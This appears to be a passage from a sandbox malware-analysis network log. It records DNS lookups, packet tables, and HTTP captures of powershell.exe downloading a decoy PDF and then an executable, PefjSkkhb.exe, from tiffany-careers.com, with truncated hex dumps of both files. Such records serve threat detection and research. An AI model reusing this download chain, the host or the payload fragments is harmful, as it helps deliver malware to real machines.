Dec 18, 2024 09:13:22.603522062 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.604106903 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.604218006 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.604269981 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.604969025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.650837898 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.750761986 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.750873089 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.750921011 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.751166105 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.751224041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.751322985 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.751961946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.752100945 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.752196074 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.752876043 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.752968073 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.753089905 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.753720045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.753849983 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.754214048 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.754693985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.754765987 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.754818916 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.755420923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.755543947 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.755702972 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.756335974 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.756432056 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.756531000 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.757159948 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.757278919 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.757330894 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.758044004 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.758152008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.758246899 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.758894920 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.759030104 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.759092093 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.759776115 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.759805918 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.759912968 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.760642052 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.760755062 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.760799885 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.761526108 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.761636972 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.761722088 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.762438059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.762506008 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.762753963 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.763241053 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.763350964 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.763487101 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.764153957 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.764242887 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.764394999 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.764965057 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.765084982 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.765139103 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.765856028 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.765964985 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.766184092 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.766699076 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.766757965 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.766830921 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.767579079 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.767676115 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.767832994 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.768450975 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.768570900 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.768826962 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.769310951 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.769409895 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.769694090 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.770176888 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.770298958 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.770379066 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.771071911 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.771182060 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.771426916 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.771918058 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.772058010 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.772162914 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.772774935 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.772896051 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.772998095 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.773644924 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.773808002 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.774168968 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.774538040 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.774635077 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.774693012 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.775376081 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.775489092 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.775548935 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.776283026 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.776366949 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.776437044 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.777112961 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.777178049 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.777244091 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.777996063 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.778100967 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.778196096 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.778861046 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.778940916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.778992891 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.779711962 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.779918909 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.780210018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.780566931 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.780692101 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.780880928 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.781450033 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.781577110 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.781754971 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.782316923 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.782427073 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.782561064 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.783209085 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.783304930 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.783442020 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.784044027 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.784162045 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.784198046 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.784955025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.785113096 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.785156965 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.785795927 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.786006927 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.786060095 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.786669016 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.786780119 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.786964893 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.787564993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.787626982 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.787779093 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.788403034 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.788501024 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.788543940 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.789271116 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.789378881 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.789444923 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.790117025 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.790236950 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.790649891 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.790981054 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.791121960 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.791177034 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.791863918 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.791970968 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.792078018 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.792736053 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.792862892 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.793203115 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.793592930 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.793709993 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.794080973 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.794496059 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.794584036 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.794725895 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.795325041 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.795437098 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.795485020 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.796174049 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.838255882 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.942024946 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.942135096 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.942229986 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.942405939 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.942547083 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.942640066 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.943289995 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.943408012 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.943459034 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.944135904 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.944278002 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.944325924 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.945966005 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.945982933 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.946027994 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.948056936 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948072910 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948088884 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948105097 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948144913 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.948170900 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.948364973 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948527098 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.948576927 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.949136019 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.949301004 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.949352980 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.950052023 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.950397968 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.950463057 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.950588942 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.950604916 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.950639009 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.951807022 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.952003956 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.952107906 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.952756882 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.952922106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.952965975 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.953536034 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.953725100 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.954354048 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.954406023 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.954502106 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:22.954561949 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:22.955198050 CET	80	49729	139.99.188.124	192.168.2.5
Dec 18, 2024 09:13:23.010148048 CET	49729	80	192.168.2.5	139.99.188.124
Dec 18, 2024 09:13:23.238533020 CET	49729	80	192.168.2.5	139.99.188.124

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Dec 18, 2024 09:12:58.418391943 CET	54917	53	192.168.2.5	1.1.1.1
Dec 18, 2024 09:12:58.758760929 CET	53	54917	1.1.1.1	192.168.2.5
Dec 18, 2024 09:13:14.625849962 CET	65149	53	192.168.2.5	1.1.1.1
Dec 18, 2024 09:13:25.447237968 CET	50882	53	192.168.2.5	1.1.1.1
Dec 18, 2024 09:13:25.674781084 CET	53	50882	1.1.1.1	192.168.2.5
Dec 18, 2024 09:13:41.787744045 CET	60982	53	192.168.2.5	1.1.1.1
Dec 18, 2024 09:13:41.925384045 CET	53	60982	1.1.1.1	192.168.2.5

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Dec 18, 2024 09:12:58.418391943 CET	192.168.2.5	1.1.1.1	0x1670	Standard query (0)	tiffany-careers.com	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:13:14.625849962 CET	192.168.2.5	1.1.1.1	0xf3f8	Standard query (0)	x1.i.lencr.org	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:13:25.447237968 CET	192.168.2.5	1.1.1.1	0x5207	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:13:41.787744045 CET	192.168.2.5	1.1.1.1	0xd9f7	Standard query (0)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Dec 18, 2024 09:12:58.758760929 CET	1.1.1.1	192.168.2.5	0x1670	No error (0)	tiffany-careers.com		147.45.49.155	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:13:14.859790087 CET	1.1.1.1	192.168.2.5	0xf3f8	No error (0)	x1.i.lencr.org	crl.root-x1.letsencrypt.org.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Dec 18, 2024 09:13:25.674781084 CET	1.1.1.1	192.168.2.5	0x5207	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false
Dec 18, 2024 09:13:41.925384045 CET	1.1.1.1	192.168.2.5	0xd9f7	Name error (3)	nbhkmKSQnaDrIkubbvvLMhHdgigs.nbhkmKSQnaDrIkubbvvLMhHdgigs	none	none	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

tiffany-careers.com

139.99.188.124

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.5	49707	147.45.49.155	80	4308	C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Timestamp	Bytes transferred	Direction	Data
Dec 18, 2024 09:13:03.447788954 CET	82	OUT	GET /Marketing.pdf HTTP/1.1 Host: tiffany-careers.com Connection: Keep-Alive
Dec 18, 2024 09:13:04.824548006 CET	1236	IN	HTTP/1.1 200 OK etag: "f92-675e8dca-2534b;;;" last-modified: Sun, 15 Dec 2024 08:05:30 GMT content-type: application/pdf content-length: 3986 accept-ranges: bytes date: Wed, 18 Dec 2024 08:13:04 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 25 50 44 46 2d 31 2e 33 0a 33 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 50 61 67 65 0a 2f 50 61 72 65 6e 74 20 31 20 30 20 52 0a 2f 52 65 73 6f 75 72 63 65 73 20 32 20 30 20 52 0a 2f 43 6f 6e 74 65 6e 74 73 20 34 20 30 20 52 3e 3e 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 38 37 39 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 7d 54 4d 93 d3 3a 10 bc f3 2b e6 08 55 fb 84 bf 3f f6 c6 2e 50 f5 de 2b aa 28 48 c1 85 8b 62 4f 12 b1 b6 14 24 25 a9 fc 7b 66 a4 38 4e c8 2e 27 c7 8e 46 dd d3 dd 33 19 fc f7 2a 11 65 0d 87 57 0f 0b 78 fb 31 85 b4 10 49 02 8b 15 7c 58 f0 a7 34 69 44 db 42 dd 96 22 ad 61 d1 c3 eb 2f 66 40 30 2b 90 1a de f5 7b b4 5e 39 a5 d7 f0 28 c7 ad 54 6b 0d 9f a4 96 6b b4 a0 34 48 78 34 f4 55 1f df c0 e2 e7 e9 c2 b7 1f 33 48 b3 19 23 11 55 d5 c2 22 e0 e7 a9 48 1b a8 f3 56 24 11 6b b1 c1 bf 83 48 4f 20 5d 04 81 ed 20 8f 8e df ad f2 aa 93 03 58 a6 4a 3c 0c dd e0 10 f9 06 a9 7b 18 b9 98 5e 26 56 c9 35 [TRUNCATED] Data Ascii: %PDF-1.33 0 obj<</Type /Page/Parent 1 0 R/Resources 2 0 R/Contents 4 0 R>>endobj4 0 obj<</Filter /FlateDecode /Length 879>>streamx}TM:+U?.P+(HbO$%{f8N.'F3eWx1I\|X4iDB"a/f@0+{^9(Tkk4Hx4U3H#U"HV$kHO ] XJ<{^&V5\|:z:j27 n=QAai<H\|#?]HW%Y{kCY)Xg>$vb+co),6E>>Rk~nI]kVGdBvRiOrE)sylC${v\ ***\#a&pP~QG92WJ#tPf,]n)/a0<$a\|&OY-N=R3M&Daj>!ZJGcycx7wdEj\|E&XQ,J>)7%Z9uK7\u#FAlC@N^e]dM)8}\|cV3.>Vufqrw-,HU]eh 48jc?Ltcfi${I"vRc[\v]^<MKQL+4vI\6 Ht.^n!O\>
Dec 18, 2024 09:13:04.824580908 CET	1236	IN	Data Raw: 1c 6f bd 2f 1b 51 57 27 eb c9 86 2e 0a 7e da 04 92 72 89 34 6d 97 3b 28 36 1b b0 7e 03 cf d2 4e 60 0a 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 2f 54 79 70 65 20 2f 50 61 67 65 0a 2f 50 61 72 65 6e 74 20 31 Data Ascii: o/QW'.~r4m;(6~N`endstreamendobj5 0 obj<</Type /Page/Parent 1 0 R/Resources 2 0 R/Contents 6 0 R>>endobj6 0 obj<</Filter /FlateDecode /Length 872>>streamx}UKo8W{)][/5YK@Rv_3G$6^%$
Dec 18, 2024 09:13:04.824606895 CET	1236	IN	Data Raw: 92 94 5d ff 7d 87 94 17 39 76 0f 06 04 69 66 38 6f a3 13 f8 fe 10 b1 bc 84 fd c3 f3 0a be 7c 4b 20 4e 58 14 c1 aa 83 d7 95 7f 95 c6 2c ae a0 2c 4a 96 25 b0 6a e1 63 c5 e0 d9 70 d5 c2 4f ae f8 06 07 54 ee eb 27 58 bd f9 fa 98 a5 51 0d ab fd a2 31 Data Ascii: ]}9vif8o\|K NX,,J%jcpOT'XQ1YT!w(Gh0ru`aF&MqS(k4At}z2OJXZ2[hZvY0<cQzdk,0Ilgh?v.jI:
Dec 18, 2024 09:13:04.824632883 CET	529	IN	Data Raw: 46 50 44 46 20 31 2e 37 2e 32 20 68 74 74 70 3a 2f 2f 70 79 66 70 64 66 2e 67 6f 6f 67 6c 65 63 6f 64 65 2e 63 6f 6d 2f 29 0a 2f 43 72 65 61 74 69 6f 6e 44 61 74 65 20 28 44 3a 32 30 32 34 31 31 30 38 31 31 30 32 34 35 29 0a 3e 3e 0a 65 6e 64 6f Data Ascii: FPDF 1.7.2 http://pyfpdf.googlecode.com/)/CreationDate (D:20241108110245)>>endobj12 0 obj<</Type /Catalog/Pages 1 0 R/OpenAction [3 0 R /FitH null]/PageLayout /OneColumn>>endobjxref0 130000000000 65535 f 0000003020 00000 n 0000
Dec 18, 2024 09:13:04.996354103 CET	58	OUT	GET /PefjSkkhb.exe HTTP/1.1 Host: tiffany-careers.com
Dec 18, 2024 09:13:05.457967043 CET	1236	IN	HTTP/1.1 200 OK etag: "108a00-675eb102-2534d;;;" last-modified: Sun, 15 Dec 2024 10:35:46 GMT content-type: application/x-executable content-length: 1083904 accept-ranges: bytes date: Wed, 18 Dec 2024 08:13:05 GMT server: LiteSpeed connection: Keep-Alive Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 30 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 6f 31 29 eb 2b 50 47 b8 2b 50 47 b8 2b 50 47 b8 9f cc b6 b8 3e 50 47 b8 9f cc b4 b8 b7 50 47 b8 9f cc b5 b8 0a 50 47 b8 b5 f0 80 b8 2a 50 47 b8 79 38 42 b9 05 50 47 b8 79 38 43 b9 3a 50 47 b8 79 38 44 b9 23 50 47 b8 22 28 c4 b8 23 50 47 b8 22 28 c0 b8 2a 50 47 b8 22 28 d4 b8 0e 50 47 b8 2b 50 46 b8 06 52 47 b8 8e 39 49 b9 7b 50 47 b8 8e 39 44 b9 2a 50 47 b8 8e 39 b8 b8 2a 50 47 b8 2b 50 d0 b8 2a 50 47 b8 8e 39 45 b9 2a 50 47 b8 52 69 63 68 2b 50 47 b8 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 64 86 06 00 e4 af 5e 67 00 00 00 00 00 00 00 00 f0 00 22 00 0b 02 0e 10 00 34 0b 00 00 52 [TRUNCATED] Data Ascii: MZ@0!L!This program cannot be run in DOS mode.$o1)+PG+PG+PG>PGPGPGPGy8BPGy8C:PGy8D#PG"(#PG"(PG"(PG+PFRG9I{PG9DPG9PG+PPG9EPGRich+PGPEd^g"4RT@qR`@@\\|@@HotPp(ppP8.text(34 `.rdataBPD8@@.data P\|@.pdataHo@p@@.rsrc@B<@@.reloct~@B
Dec 18, 2024 09:13:05.458029985 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 48 83 ec 28 48 8d 0d e5 df 0e 00 e8 b0 4b 02 00 48 8d 0d f9 87 04 00 48 83 c4 28 e9 Data Ascii: H(HKHH(>H>H(*HH(>H(fHH(>H(SnHH(>H(HHcPHzHhHH(^>H(\H
